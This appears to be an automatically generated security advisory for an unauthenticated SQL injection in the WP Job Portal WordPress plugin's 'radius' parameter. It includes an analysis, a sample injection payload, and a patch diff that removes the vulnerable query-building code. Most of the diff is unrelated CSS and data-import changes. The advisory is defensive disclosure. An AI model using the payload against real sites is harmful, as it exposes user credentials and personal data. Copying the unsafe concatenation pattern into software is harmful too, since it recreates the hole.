Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 24, 2026

CVE-2026-4306: WP Job Portal <= 2.4.8 – Unauthenticated SQL Injection via 'radius' Parameter (wp-job-portal)

CVE ID CVE-2026-4306
Plugin wp-job-portal
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.4.8
Patched Version 2.4.9
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4306:
This vulnerability is an unauthenticated SQL Injection in the WP Job Portal WordPress plugin, affecting versions up to and including 2.4.8. The flaw resides in the job search functionality, specifically in the handling of the ‘radius’ parameter. Attackers can exploit this to append arbitrary SQL queries, potentially leading to sensitive database information disclosure. The CVSS score of 7.5 reflects a high-severity impact due to the unauthenticated nature and direct database access.

The root cause is insufficient input validation and escaping of user-supplied parameters in the `getJobsForSearch` function within `/wp-job-portal/modules/job/model.php`. The plugin directly concatenates the `$radius` parameter into an SQL query string without proper sanitization or prepared statements. The vulnerable code constructs a `$radiussearch` variable on line 1782, using `esc_sql($radius)`. However, `esc_sql` is insufficient for numeric contexts and does not prevent query concatenation. The same pattern appears in the `getJobsForSearch` function’s second SQL query construction around line 2759, where `esc_sql($radius)` is again concatenated directly into the `$wpjobportal_inquery` string.

Exploitation occurs via an unauthenticated HTTP request to the plugin’s job search endpoint. The attack vector targets the `radius` parameter, which accepts numeric values for geographic distance filtering. An attacker can inject SQL payloads by submitting a malicious value for `radius`, such as `1) OR 1=1– -`. This payload would be directly inserted into the `WHERE` clause of the SQL query. The vulnerable endpoint is likely accessible via frontend job search forms or direct AJAX calls, requiring no authentication or nonce verification.

The patch in version 2.4.9 removes the vulnerable radius search functionality entirely. The diff shows the deletion of lines 1692-1695 and 1708-1711 in `/wp-job-portal/modules/job/model.php`, which previously handled the `radius`, `longitude`, `latitude`, and `radius_length_type` parameters. Lines 1751-1762, containing the `switch` statement for `$radius_length_type` and the `$radiussearch` variable construction, are also removed. The SQL query building logic on lines 2722-2749, which appended the radius condition to `$wpjobportal_inquery`, is completely excised. The fix eliminates the attack surface by removing the parameter processing and SQL concatenation.

Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries on the WordPress database. This can lead to complete extraction of sensitive data, including user credentials (hashed passwords), personal information, job applications, and plugin-specific configuration. Attackers could also potentially modify database contents, though INSERT/UPDATE/DELETE operations depend on database user permissions. The vulnerability does not directly enable remote code execution, but data exposure alone represents a significant breach of confidentiality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-job-portal/includes/activation.php
+++ b/wp-job-portal/includes/activation.php
@@ -468,7 +468,7 @@
               ('searchjobtag', '4', 'job', 'tag'),
               ('categories_colsperrow', '3', 'category', NULL),
               ('productcode', 'wpjobportal', 'default', NULL),
-              ('versioncode', '2.4.8', 'default', NULL),
+              ('versioncode', '2.4.9', 'default', NULL),
               ('producttype', 'free', 'default', NULL),
               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),
               ('vis_emcredits', '1', 'emcontrolpanel', NULL),
@@ -1837,20 +1837,17 @@
               `code` varchar(255) NOT NULL,
               `name` varchar(255) NOT NULL,
               `description` text,
-              `category_code` varchar(255) DEFAULT NULL,
+              `use_case_code` varchar(255) DEFAULT NULL,
               `featured` tinyint(1) DEFAULT NULL,
               `base` tinyint(1) DEFAULT NULL,
-              `ordering` int(11) DEFAULT NULL,
+              `ordering` bigint DEFAULT NULL,
               `status` tinyint(1) DEFAULT 1,
-              UNIQUE KEY `code` (`code`),
-              KEY `category_code` (`category_code`),
               PRIMARY KEY (`id`),
-              CONSTRAINT `fk_jp_zywrap_wrappers_cat`
-                  FOREIGN KEY (`category_code`)
-                  REFERENCES `".wpjobportal::$_db->prefix."wj_portal_zywrap_categories` (`code`)
-                  ON DELETE SET NULL
+              UNIQUE KEY `code` (`code`),
+              KEY `use_case_code` (`use_case_code`)
           ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;";
-          wpjobportal::$_db->query($query);
+
+            wpjobportal::$_db->query($query);


           // Block templates table
@@ -1887,6 +1884,21 @@
           ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;";
           wpjobportal::$_db->query($query);

+
+          // use cases
+          $query = "CREATE TABLE IF NOT EXISTS `".wpjobportal::$_db->prefix."wj_portal_zywrap_use_cases` (
+              `id` int(11) NOT NULL AUTO_INCREMENT,
+              `code` varchar(255) NOT NULL,
+              `name` varchar(255) NOT NULL,
+              `description` text,
+              `category_code` varchar(255) DEFAULT NULL,
+              `schema_data` json DEFAULT NULL,
+              `status` tinyint(1) DEFAULT 1,
+              `ordering` bigint DEFAULT NULL,
+              UNIQUE KEY `code` (`code`),
+              PRIMARY KEY (`id`)
+          ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;";
+          wpjobportal::$_db->query($query);
         }
       }
     }
--- a/wp-job-portal/includes/ajax.php
+++ b/wp-job-portal/includes/ajax.php
@@ -35,7 +35,7 @@
                                 'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','getPackagePopupForDepartment','deleteUserPhoto',
                                 'getStripePlans','downloadandinstalladdonfromAjax','getChildForVisibleCombobox','isFieldRequired','getFieldsForComboBySection',
                                 'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess',
-                                'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers');
+                                'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode');
         $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
         if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){
             $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');
--- a/wp-job-portal/modules/job/model.php
+++ b/wp-job-portal/modules/job/model.php
@@ -1690,10 +1690,6 @@
         $city = WPJOBPORTALrequest::getVar('city');
         $zipcode = WPJOBPORTALrequest::getVar('zipcode');
         $currency = WPJOBPORTALrequest::getVar('currency');
-        $longitude = WPJOBPORTALrequest::getVar('longitude');
-        $latitude = WPJOBPORTALrequest::getVar('latitude');
-        $radius = WPJOBPORTALrequest::getVar('radius');
-        $radius_length_type = WPJOBPORTALrequest::getVar('radius_length_type');
         $wpjobportal_keywords = WPJOBPORTALrequest::getVar('keywords');

         wpjobportal::$_data['filter']['title'] = $title;
@@ -1712,10 +1708,6 @@
         wpjobportal::$_data['filter']['city'] = $city;
         wpjobportal::$_data['filter']['zipcode'] = $zipcode;
         wpjobportal::$_data['filter']['currency'] = $currency;
-        wpjobportal::$_data['filter']['longitude'] = $longitude;
-        wpjobportal::$_data['filter']['latitude'] = $latitude;
-        wpjobportal::$_data['filter']['radius'] = $radius;
-        wpjobportal::$_data['filter']['radius_length_type'] = $radius_length_type;
         wpjobportal::$_data['filter']['keywords'] = $wpjobportal_keywords;

         if ($wpjobportal_jobcategory != '')
@@ -1759,17 +1751,7 @@
         }

         $wpjobportal_issalary = '';
-        //for radius search
-        switch ($radius_length_type) {
-            case "m":$radiuslength = 6378137;
-                break;
-            case "km":$radiuslength = 6378.137;
-                break;
-            case "mile":$radiuslength = 3963.191;
-                break;
-            case "nacmiles":$radiuslength = 3441.596;
-                break;
-        }
+
         if ($wpjobportal_keywords) {// For keyword Search
             $wpjobportal_keywords = wpjobportalphplib::wpJP_explode(' ', $wpjobportal_keywords);
             $length = count($wpjobportal_keywords);
@@ -1782,11 +1764,6 @@
                 $wpjobportal_keys[] = " job.metakeywords Like '%" . esc_sql($wpjobportal_keywords[$j]) . "%'";
             }
         }
-        $wpjobportal_selectdistance = " ";
-        if ($longitude != '' && $latitude != '' && $radius != '') {
-            $radiussearch = " acos((SIN( PI()* ".esc_sql($latitude)." /180 )*SIN( PI()*job.latitude/180 ))+(cos(PI()* ".esc_sql($latitude)." /180)*COS( PI()*job.latitude/180) *COS(PI()*job.longitude/180-PI()* ".esc_sql($longitude)." /180)))* ".esc_sql($radiuslength)." <= ".esc_sql($radius);
-            $wpjobportal_selectdistance = " ,acos((sin(PI()*".esc_sql($latitude)."/180)*sin(PI()*job.latitude/180))+(cos(PI()*".esc_sql($latitude)."/180)*cos(PI()*job.latitude/180)*cose(PI()*job.longitude/180 - PI()*".esc_sql($longitude)."/180)))*".esc_sql($radiuslength)." AS distance ";
-        }

         $wherequery = '';
         if ($title != '') {
@@ -2722,42 +2699,6 @@
         }

         //end
-        if($wpjobportal_searchajax == null){
-            $longitude = WPJOBPORTALrequest::getVar('longitude', 'post');
-            $latitude = WPJOBPORTALrequest::getVar('latitude', 'post');
-            $radius = WPJOBPORTALrequest::getVar('radius', 'post');
-            $radius_length_type = WPJOBPORTALrequest::getVar('radiuslengthtype', 'post');
-        }else{
-            $longitude = isset($wpjobportal_searchajax['longitude']) ? $wpjobportal_searchajax['longitude'] : '';
-            $latitude = isset($wpjobportal_searchajax['latitude']) ? $wpjobportal_searchajax['latitude'] : '';
-            $radius = isset($wpjobportal_searchajax['radius']) ? $wpjobportal_searchajax['radius'] : '';
-            $radius_length_type = isset($wpjobportal_searchajax['radiuslengthtype']) ? $wpjobportal_searchajax['radiuslengthtype'] : '';
-        }
-        // php 8 issue for wpjobportalphplib::wpJP_str_replace
-        if($longitude !=''){
-            $longitude = wpjobportalphplib::wpJP_str_replace(',', '', $longitude);
-        }
-        if($latitude !=''){
-            $latitude = wpjobportalphplib::wpJP_str_replace(',', '', $latitude);
-        }
-        //for radius search
-        switch ($radius_length_type) {
-            case "1":$radiuslength = 6378137;
-                break;
-            case "2":$radiuslength = 6378.137;
-                break;
-            case "3":$radiuslength = 3963.191;
-                break;
-            case "4":$radiuslength = 3441.596;
-                break;
-        }
-        if ($longitude != '' && $latitude != '' && $radius != '' && $radiuslength != '') {
-            wpjobportal::$_data['filter']['longitude'] = $longitude;
-            wpjobportal::$_data['filter']['latitude'] = $latitude;
-            wpjobportal::$_data['filter']['radius'] = $radius;
-            wpjobportal::$_data['filter']['radiuslengthtype'] = $radius_length_type;
-            $wpjobportal_inquery .= " AND acos((SIN( PI()* ".esc_sql($latitude)." /180 )*SIN( PI()*job.latitude/180 ))+(cos(PI()* ".esc_sql($latitude)." /180)*COS( PI()*job.latitude/180) *COS(PI()*job.longitude/180-PI()* ".esc_sql($longitude)." /180)))* ".esc_sql($radiuslength)." <= ".esc_sql($radius);
-        }
         return $wpjobportal_inquery;
     }

--- a/wp-job-portal/modules/resume/tmpl/addresume.inc.php
+++ b/wp-job-portal/modules/resume/tmpl/addresume.inc.php
@@ -71,8 +71,6 @@
                 jQuery(img).attr('src', srcimg);
             });
             //Personal files select
-        jQuery('body').on('click', 'span.clickablefiles', function(e){
-            jQuery('input#resumefiles').click();
             jQuery('input#resumefiles').change(function(){
                 var srcimage = jQuery('img.rs_photo');
                 var files = this.files;
@@ -122,7 +120,9 @@
                 }
                 showResumeFilesArrayPopup();
             });
-        });
+            jQuery('body').on('click', 'span.clickablefiles', function(e){
+                jQuery('input#resumefiles').click();
+            });
         jQuery('body').on('click', 'img#wjportal-form-delete-image', function(e){
             jQuery('.wjportal-form-image-wrp').hide();
             jQuery('input#photo').val('').clone(true);
--- a/wp-job-portal/modules/zywrap/admin_classic_modal.php
+++ b/wp-job-portal/modules/zywrap/admin_classic_modal.php
@@ -105,7 +105,7 @@
         display: flex;
         flex: 1;
         min-height: 0;
-        overflow: hidden;
+
     }

     /* --- LEFT SIDEBAR --- */
@@ -129,7 +129,7 @@
         display: flex;
         flex-direction: column;
         height: 100%;
-        overflow: hidden;
+        overflow-y: auto;
     }

     /* Prompt Section */
@@ -178,7 +178,6 @@
     /* Response Section */
     .zywrap-workspace-response {
         flex-grow: 1;
-        min-height: 0;
         padding: 20px 30px 0 30px;
         display: flex;
         flex-direction: column;
@@ -229,14 +228,14 @@
     #zywrap-classic-insert-btn:hover { background: #059669; transform: translateY(-1px); }

     /* --- UI ELEMENTS --- */
-    .zywrap-label {
+    .wpjp-zywrap-label {
         display: block;
         margin-bottom: 6px;
         font-weight: 600;
         font-size: 12px;
         color: var(--wjp-text-main);
     }
-    .zywrap-label span { color: var(--wjp-text-muted); font-weight: 400; font-size: 11px; margin-left: 4px; }
+    .wpjp-zywrap-label span { color: var(--wjp-text-muted); font-weight: 400; font-size: 11px; margin-left: 4px; }

     /* Search */
     .zywrap-search-trigger {
@@ -487,6 +486,36 @@
    #zywrap-classic-context{
     background: #fff;
    }
+   #zywrap-classic-schema-container .zywrap-advanced-content{
+        display: flex;
+        flex-direction:row ;
+        flex-wrap: wrap;
+        gap: 8px;
+   }
+
+   #zywrap-classic-schema-container .zywrap-advanced-content .wpjp-zywrap-specx-single-field{
+        display: flex;
+        width: calc( 50% - 8px);
+        flex-direction: column;
+   }
+   #zywrap-classic-schema-container .zywrap-advanced-content .wpjp-zywrap-specx-single-field .wpjp-zywrap-label{
+        display: flex;
+        width: 100%;
+   }
+   #zywrap-classic-schema-container .zywrap-advanced-content .wpjp-zywrap-specx-single-field input{
+        display: flex;
+   }
+
+
+    #zywrap-classic-modal-wrap .zywrap-classic-body input[type="text"],#zywrap-classic-modal-wrap .zywrap-classic-body  input[type="email"],#zywrap-classic-modal-wrap .zywrap-classic-body input[type="url"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="password"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="search"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="number"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="tel"],#zywrap-classic-modal-wrap .zywrap-classic-body input[type="range"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="date"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="month"],#zywrap-classic-modal-wrap .zywrap-classic-body input[type="week"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="time"],#zywrap-classic-modal-wrap .zywrap-classic-body input[type="datetime"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="datetime-local"], #zywrap-classic-modal-wrap .zywrap-classic-body input[type="color"], #zywrap-classic-modal-wrap .zywrap-classic-body textarea, #zywrap-classic-modal-wrap .zywrap-classic-body select {
+        border-radius: 8px !important;
+        height: 45px !important;
+        color: var(--wpjp-body-font-color) !important;
+        background-color: white !important;
+        width: 100% !important;
+        max-width: 100% !important;
+    }
+

    /* button styling  */

@@ -534,11 +563,11 @@

             <div id="zywrap-search-wrapper">
                 <div id="zywrap-manual-search-container" style="margin-bottom:12px;">
-                    <label class="zywrap-label"><?php echo __( 'Quick Search', 'wp-job-portal' ); ?></label>
+                    <label class="wpjp-zywrap-label"><?php echo __( 'Quick Search', 'wp-job-portal' ); ?></label>
                     <input type="text" id="zywrap-classic-search-input" placeholder="<?php echo esc_attr__( 'e.g. Blog, SEO...', 'wp-job-portal' ); ?>">
                 </div>
                 <div id="zywrap-search-results-container">
-                    <label class="zywrap-label"><?php echo __( 'Results', 'wp-job-portal' ); ?></label>
+                    <label class="wpjp-zywrap-label"><?php echo __( 'Results', 'wp-job-portal' ); ?></label>
                     <select id="zywrap-classic-search-select" class="wpjp-zywrap-jp-chosen">
                         <option value=""><?php echo __( '-- Select Result --', 'wp-job-portal' ); ?></option>
                     </select>
@@ -546,13 +575,13 @@
             </div>

             <div class="zywrap-input-group">
-                <label class="zywrap-label"><?php echo __( 'Category', 'wp-job-portal' ); ?></label>
+                <label class="wpjp-zywrap-label"><?php echo __( 'Category', 'wp-job-portal' ); ?></label>
                 <select id="zywrap-classic-category" class="wpjp-zywrap-jp-chosen"></select>
             </div>

             <div class="zywrap-input-group">
                 <div class="zywrap-header-row">
-                    <label class="zywrap-label" style="margin:0;"><?php echo __( 'Wrapper Template', 'wp-job-portal' ); ?></label>
+                    <label class="wpjp-zywrap-label" style="margin:0;"><?php echo __( 'Wrapper Template', 'wp-job-portal' ); ?></label>

                     <button type="button" id="zywrap-classic-sort" class="zywrap-sort-toggle" data-ordering="1">
                         <span style="opacity:0.7;"><?php echo __( 'Sort:', 'wp-job-portal' ); ?></span>
@@ -574,15 +603,16 @@
                     <option value=""><?php echo __( '-- Select Category --', 'wp-job-portal' ); ?></option>
                 </select>
                 <div style="text-align:right; font-size:11px; color:var(--wjp-text-muted); margin-top:6px;" id="zywrap-classic-wrapper-count"></div>
+                <span id="zywrap-classic-loader" class="spinner is-active"></span>
             </div>

             <div class="zywrap-input-group">
-                <label class="zywrap-label"><?php echo __( 'AI Model', 'wp-job-portal' ); ?></label>
+                <label class="wpjp-zywrap-label"><?php echo __( 'AI Model', 'wp-job-portal' ); ?></label>
                 <select id="zywrap-classic-model" class="wpjp-zywrap-jp-chosen"></select>
             </div>

             <div class="zywrap-input-group">
-                <label class="zywrap-label"><?php echo __( 'Language', 'wp-job-portal' ); ?></label>
+                <label class="wpjp-zywrap-label"><?php echo __( 'Language', 'wp-job-portal' ); ?></label>
                 <select id="zywrap-classic-language" class="wpjp-zywrap-jp-chosen"></select>
             </div>

@@ -594,18 +624,20 @@
                     <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M6 9l6 6 6-6"/></svg>
                 </summary>
                 <div class="zywrap-advanced-content">
+                    <?php /*
                     <div>
-                        <label class="zywrap-label"><?php echo __( 'Reference Context', 'wp-job-portal' ); ?> <span><?php echo __( '(Source Data)', 'wp-job-portal' ); ?></span></label>
+                        <label class="wpjp-zywrap-label"><?php echo __( 'Reference Context', 'wp-job-portal' ); ?> <span><?php echo __( '(Source Data)', 'wp-job-portal' ); ?></span></label>
                         <textarea id="zywrap-classic-context" rows="4" placeholder="<?php echo esc_attr__( 'Paste source text or data context here...', 'wp-job-portal' ); ?>"></textarea>
                     </div>
                     <div>
-                        <label class="zywrap-label"><?php echo __( 'SEO Keywords', 'wp-job-portal' ); ?></label>
+                        <label class="wpjp-zywrap-label"><?php echo __( 'SEO Keywords', 'wp-job-portal' ); ?></label>
                         <input type="text" id="zywrap-classic-seo" placeholder="<?php echo esc_attr__( 'comma, separated, keywords', 'wp-job-portal' ); ?>">
                     </div>
                     <div>
-                        <label class="zywrap-label"><?php echo __( 'Negative Words', 'wp-job-portal' ); ?></label>
+                        <label class="wpjp-zywrap-label"><?php echo __( 'Negative Words', 'wp-job-portal' ); ?></label>
                         <input type="text" id="zywrap-classic-negative" placeholder="<?php echo esc_attr__( 'words to avoid...', 'wp-job-portal' ); ?>">
                     </div>
+                    */ ?>
                     <div id="zywrap-classic-overrides-grid" style="display:grid; gap:12px;"></div>
                 </div>
             </details>
@@ -613,14 +645,15 @@

         <main class="zywrap-classic-main">
             <div id="zywrap-classic-description" style="display:none; background:var(--wjp-primary-light); padding:14px 30px; border-bottom:1px solid #c7d2fe; color:var(--wjp-text-main); font-size:13px;">
-                <label class="zywrap-label"><?php echo __( 'Description:', 'wp-job-portal' ); ?> </label>
+                <label class="wpjp-zywrap-label"><?php echo __( 'Description:', 'wp-job-portal' ); ?> </label>
                 <div id="zywrap-classic-description-inner" >
                 </div>

             </div>

             <div class="zywrap-workspace-prompt">
-                <label class="zywrap-label"><?php echo __( 'Instructions / Prompt', 'wp-job-portal' ); ?> (<?php echo __( 'Optional', 'wp-job-portal' ); ?>)</label>
+                <div id="zywrap-classic-schema-container"></div>
+                <label class="wpjp-zywrap-label"><?php echo __( 'Instructions / Prompt', 'wp-job-portal' ); ?> (<?php echo __( 'Optional', 'wp-job-portal' ); ?>)</label>
                 <textarea id="zywrap-classic-prompt" placeholder="<?php echo esc_attr__( 'Describe exactly what you want the AI to create...', 'wp-job-portal' ); ?>"></textarea>
                 <div class="zywrap-action-row">
                     <button type="button" id="zywrap-classic-run"><?php echo __( 'Generate Output', 'wp-job-portal' ); ?></button>
@@ -628,7 +661,7 @@
             </div>

             <div class="zywrap-workspace-response">
-                <label class="zywrap-label" style="display:flex; justify-content:space-between;">
+                <label class="wpjp-zywrap-label" style="display:flex; justify-content:space-between;">
                     <?php echo __( 'Generated Output', 'wp-job-portal' ); ?> <span style="font-weight:400; font-size:11px; color:#94a3b8;"><?php echo __( '(Editable)', 'wp-job-portal' ); ?></span>
                 </label>
                 <textarea id="zywrap-classic-response-area" placeholder="<?php echo esc_attr__( 'AI output will appear here...', 'wp-job-portal' ); ?>"></textarea>
--- a/wp-job-portal/modules/zywrap/model.php
+++ b/wp-job-portal/modules/zywrap/model.php
@@ -10,6 +10,11 @@
                     'skipped'  => 0,
                     'failed'   => 0,
                 ],
+                'usecases' => [
+                    'imported' => 0,
+                    'skipped'  => 0,
+                    'failed'   => 0,
+                ],
                 'languages' => [
                     'imported' => 0,
                     'skipped'  => 0,
@@ -88,7 +93,7 @@
             $wpjobportal_url = 'https://api.zywrap.com/v1/key/check';
             $wpjobportal_args = array(
                 'method'  => 'POST',
-                'timeout' => 15,
+                'timeout' => 120,
                 'headers' => array(
                     'Content-Type' => 'application/json'
                 ),
@@ -203,153 +208,318 @@
     }

     // functino to imporo zywrap categories
+    // function importZywrapCategories( $wpjobportal_data_categories ) {
+
+    //     if ( empty( $wpjobportal_data_categories ) ) {
+    //         return;
+    //     }
+    //     // // Get max ordering
+    //     // $query = "SELECT MAX(cat.ordering)
+    //     //             FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_categories` AS cat";
+    //     // $ordering = (int) wpjobportal::$_db->get_var( $query );
+    //     // $ordering = $ordering + 1;
+    //     // $ordering_check = $ordering;
+    //     /*
+    //     if($ordering_check > 0){
+
+    //         // Prepare list of existing categories to avoid duplicates
+    //         $wpjobportal_existing = [];
+    //         $query = "SELECT cat.code, cat.name
+    //                     FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_categories` AS cat";
+    //         $wpjobportal_results = wpjobportal::$_db->get_results( $query );
+
+    //         if ( ! empty( $wpjobportal_results ) ) {
+    //             foreach ( $wpjobportal_results as $wpjobportal_row ) {
+    //                 // Normalize for matching
+    //                 $wpjobportal_existing[] = $this->cleanStringForCompare( $wpjobportal_row->code );
+    //             }
+    //         }
+    //     }
+    //     */
+
+    //     // Loop categories from input
+    //     foreach ( $wpjobportal_data_categories as $cate => $wpjobportal_category ) {
+    //         $wpjobportal_name = $wpjobportal_category['name'];
+    //         $wpjobportal_code = $wpjobportal_category['code'];
+    //         $wpjobportal_ordering = $wpjobportal_category['ordering'];
+    //         /*
+    //         if($ordering_check > 0){
+    //             $wpjobportal_compare_code  = $this->cleanStringForCompare( $code );
+
+    //             // Skip duplicates
+    //             if (in_array( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
+    //                 $this->zywrap_import_counts['categories']['skipped'] += 1;
+    //                 continue;
+    //             }
+    //         }
+    //         */
+    //         // Prepare DB row object
+    //         // $wpjobportal_row = WPJOBPORTALincluder::getJSTable('zywrapcategory');
+
+    //         // $created = date_i18n('Y-m-d H:i:s');
+    //         // $wpjobportal_updated = date_i18n('Y-m-d H:i:s');
+
+    //         // Build dataset same as job type function
+    //         $wpjobportal_data = [];
+    //         //$wpjobportal_data['id']       = '';
+    //         $wpjobportal_data['code']     = $wpjobportal_code;
+    //         $wpjobportal_data['name']     = $wpjobportal_name;
+    //         $wpjobportal_data['ordering'] = $wpjobportal_ordering;
+    //         $wpjobportal_data['status']   = 1;
+    //         // $wpjobportal_data['created']  = $created;
+    //         // $wpjobportal_data['updated']  = $wpjobportal_updated;
+
+    //         // Store into DB
+    //         // Suppress duplicate-key insert warnings during bulk import
+    //         wpjobportal::$_db->suppress_errors( true );
+
+    //         $response = wpjobportal::$_db->insert(wpjobportal::$_db->prefix.'wj_portal_zywrap_categories',$wpjobportal_data);
+    //         wpjobportal::$_db->suppress_errors( false );
+
+    //         if ($response) {
+    //             $this->zywrap_import_counts['categories']['imported'] += 1;
+    //         } else {
+    //             $this->zywrap_import_counts['categories']['failed'] += 1;
+    //             continue;
+    //         }
+
+    //         $ordering++;
+    //     }
+    // }
+
     function importZywrapCategories( $wpjobportal_data_categories ) {

         if ( empty( $wpjobportal_data_categories ) ) {
             return;
         }
-        // Get max ordering
-        $query = "SELECT MAX(cat.ordering)
-                    FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_categories` AS cat";
-        $ordering = (int) wpjobportal::$_db->get_var( $query );
-        $ordering = $ordering + 1;
-        $ordering_check = $ordering;
-        /*
-        if($ordering_check > 0){

-            // Prepare list of existing categories to avoid duplicates
+        $table_name = wpjobportal::$_db->prefix . 'wj_portal_zywrap_categories';
+
+        // 1. Prepare list of existing categories to handle updates
+        $wpjobportal_existing = [];
+        $query = "SELECT cat.code FROM `" . $table_name . "` AS cat";
+        $wpjobportal_results = wpjobportal::$_db->get_results( $query );
+
+        if ( ! empty( $wpjobportal_results ) ) {
+            foreach ( $wpjobportal_results as $wpjobportal_row ) {
+                // Normalize the code for reliable matching
+                $clean_code = $this->cleanStringForCompare( $wpjobportal_row->code );
+                // Store the clean code as the key, and original code as the value
+                $wpjobportal_existing[ $clean_code ] = $wpjobportal_row->code;
+            }
+        }
+
+        // 2. Loop categories from input
+        foreach ( $wpjobportal_data_categories as $cate => $wpjobportal_category ) {
+            $wpjobportal_name     = $wpjobportal_category['name'];
+            $wpjobportal_code     = $wpjobportal_category['code'];
+            $wpjobportal_ordering = $wpjobportal_category['ordering'];
+
+            // Clean the incoming code for matching against our array
+            $wpjobportal_compare_code = $this->cleanStringForCompare( $wpjobportal_code );
+
+            // Build dataset
+            $wpjobportal_data = [
+                'code'     => $wpjobportal_code,
+                'name'     => $wpjobportal_name,
+                'ordering' => $wpjobportal_ordering,
+                'status'   => 1
+            ];
+
+            // Suppress duplicate-key insert warnings during DB operations
+            wpjobportal::$_db->suppress_errors( true );
+
+            // 3. Check for matching code and perform the update or insert
+            if ( array_key_exists( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
+
+                // UPDATE existing record
+                $where = [ 'code' => $wpjobportal_code ];
+                $response = wpjobportal::$_db->update( $table_name, $wpjobportal_data, $where );
+
+                if ( $response !== false ) { // update returns false on error, 0 if no rows changed
+                    $this->zywrap_import_counts['categories']['imported'] += 1;
+                } else {
+                    $this->zywrap_import_counts['categories']['failed'] += 1;
+                }
+
+            } else {
+
+                // INSERT new record
+                $response = wpjobportal::$_db->insert( $table_name, $wpjobportal_data );
+
+                if ( $response ) {
+                    $this->zywrap_import_counts['categories']['imported'] += 1;
+
+                    // Add the newly inserted record to our tracking array so if there are
+                    // duplicates within the same import payload, it updates instead of crashing
+                    $wpjobportal_existing[ $wpjobportal_compare_code ] = $wpjobportal_code;
+                } else {
+                    $this->zywrap_import_counts['categories']['failed'] += 1;
+                }
+            }
+
+            wpjobportal::$_db->suppress_errors( false );
+        }
+    }
+
+    // function to import zywrap use cases
+    function importZywrapUseCases( $wpjobportal_data_usecases ) {
+            if ( empty( $wpjobportal_data_usecases ) ) {
+                return;
+            }
+
+            $table_name = wpjobportal::$_db->prefix . 'wj_portal_zywrap_use_cases';
+
+            // 1. Prepare list of existing use cases to handle updates
             $wpjobportal_existing = [];
-            $query = "SELECT cat.code, cat.name
-                        FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_categories` AS cat";
+            $query = "SELECT uc.code FROM `" . $table_name . "` AS uc";
             $wpjobportal_results = wpjobportal::$_db->get_results( $query );

             if ( ! empty( $wpjobportal_results ) ) {
                 foreach ( $wpjobportal_results as $wpjobportal_row ) {
-                    // Normalize for matching
-                    $wpjobportal_existing[] = $this->cleanStringForCompare( $wpjobportal_row->code );
+                    // Normalize the code for reliable matching
+                    $clean_code = $this->cleanStringForCompare( $wpjobportal_row->code );
+                    $wpjobportal_existing[ $clean_code ] = $wpjobportal_row->code;
                 }
             }
-        }
-        */

-        // Loop categories from input
-        foreach ( $wpjobportal_data_categories as $code => $wpjobportal_category ) {
-            $wpjobportal_name = $wpjobportal_category['name'];
-            /*
-            if($ordering_check > 0){
-                $wpjobportal_compare_code  = $this->cleanStringForCompare( $code );
-
-                // Skip duplicates
-                if (in_array( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
-                    $this->zywrap_import_counts['categories']['skipped'] += 1;
+            // 2. Loop use cases from input
+            foreach ( $wpjobportal_data_usecases as $code_key => $usecase ) {
+                $wpjobportal_code = $usecase['code'] ?? '';
+
+                // Skip if no code is provided to prevent empty matching issues
+                if ( empty( $wpjobportal_code ) ) {
+                    $this->zywrap_import_counts['usecases']['failed'] += 1;
                     continue;
                 }
-            }
-            */
-            // Prepare DB row object
-            // $wpjobportal_row = WPJOBPORTALincluder::getJSTable('zywrapcategory');

-            // $created = date_i18n('Y-m-d H:i:s');
-            // $wpjobportal_updated = date_i18n('Y-m-d H:i:s');
+                $wpjobportal_compare_code = $this->cleanStringForCompare( $wpjobportal_code );

-            // Build dataset same as job type function
-            $wpjobportal_data = [];
-            //$wpjobportal_data['id']       = '';
-            $wpjobportal_data['code']     = $code;
-            $wpjobportal_data['name']     = $wpjobportal_name;
-            $wpjobportal_data['ordering'] = $ordering;
-            $wpjobportal_data['status']   = 1;
-            // $wpjobportal_data['created']  = $created;
-            // $wpjobportal_data['updated']  = $wpjobportal_updated;
+                // Build base dataset (omitting ordering so updates don't reset their position)
+                $wpjobportal_data = [
+                    'code'          => $wpjobportal_code,
+                    'name'          => $usecase['name'] ?? '',
+                    'description'   => $usecase['desc'] ?? '',
+                    'category_code' => $usecase['cat'] ?? '',
+                    'ordering'      => $usecase['ordering'] ?? '',
+                    'schema_data'   => !empty($usecase['schema']) ? json_encode($usecase['schema']) : null,
+                    'status'        => 1
+                ];

-            // Store into DB
-            // Suppress duplicate-key insert warnings during bulk import
-            wpjobportal::$_db->suppress_errors( true );
+                // Suppress duplicate-key insert warnings during DB operations
+                wpjobportal::$_db->suppress_errors( true );

